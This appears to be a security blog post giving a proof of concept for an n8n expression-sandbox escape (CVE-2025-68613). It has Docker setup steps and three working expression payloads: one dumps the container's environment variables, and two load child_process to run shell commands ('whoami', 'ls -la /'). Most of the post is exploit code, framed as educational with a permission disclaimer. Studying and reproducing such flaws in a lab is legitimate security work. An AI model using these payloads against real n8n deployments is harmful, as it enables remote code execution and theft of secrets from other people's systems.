My Random Computer Stuff Blog

Security research and random computer stuff

PoC: n8n Sandbox Escape (CVE-2025-68613)

Educational Purposes Only This Proof of Concept demonstrates a critical vulnerability (CVE-2025-68613) in n8n. Do not use this on systems you do not own or have explicit permission to test.

Vulnerability Overview

n8n versions prior to 1.122.0 contain a Remote Code Execution (RCE) vulnerability. Authenticated users can bypass the expression sandbox and execute arbitrary code on the host system via specific JavaScript payloads in the workflow expression editor.

1. Setup Vulnerable Environment

Create a data volume and run a vulnerable version of n8n (e.g., v1.120.0).

# Create volume for persistence
docker volume create n8n_data

# Run vulnerable n8n instance
docker run -it --rm \
  --name n8n \
  -p 5678:5678 \
  -v n8n_data:/home/node/.n8n \
  n8nio/n8n:1.120.0

2. Reproduction Steps

Access the Interface

Navigate to http://localhost:5678 and complete the initial setup if needed.

Create a Workflow

Click "Add Workflow" to start a blank workflow.

Add a Vulnerable Node

Add a Set node to the workflow. This node allows us to define values that can be evaluated as expressions.

Configure Expression

In the Set node, modify a parameter (e.g., value) and change the input type to Expression.

3. Exploitation Payloads

Enter the following payloads into the expression editor to demonstrate the vulnerability.

Payload 1: Environment Variable Dump

This payload accesses this.process.env to leak sensitive environment variables from the container.

Payload:

{{ (function() {
  return JSON.stringify(this.process.env, null, 2);
})() }}

Result:

Payload 2: Remote Code Execution (whoami)

This payload bypasses the sandbox by accessing process.mainModule.require to load the child_process module, allowing execution of arbitrary system commands.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('whoami').toString();
})() }}

Result: Verifies the user context of the running process.

Payload 3: Full RCE (List Root Directory)

Demonstrates the ability to browse the file system.

Payload:

{{ (function() {
  const require = this.process.mainModule.require;
  const { execSync } = require('child_process');
  return execSync('ls -la /').toString();
})() }}

Result: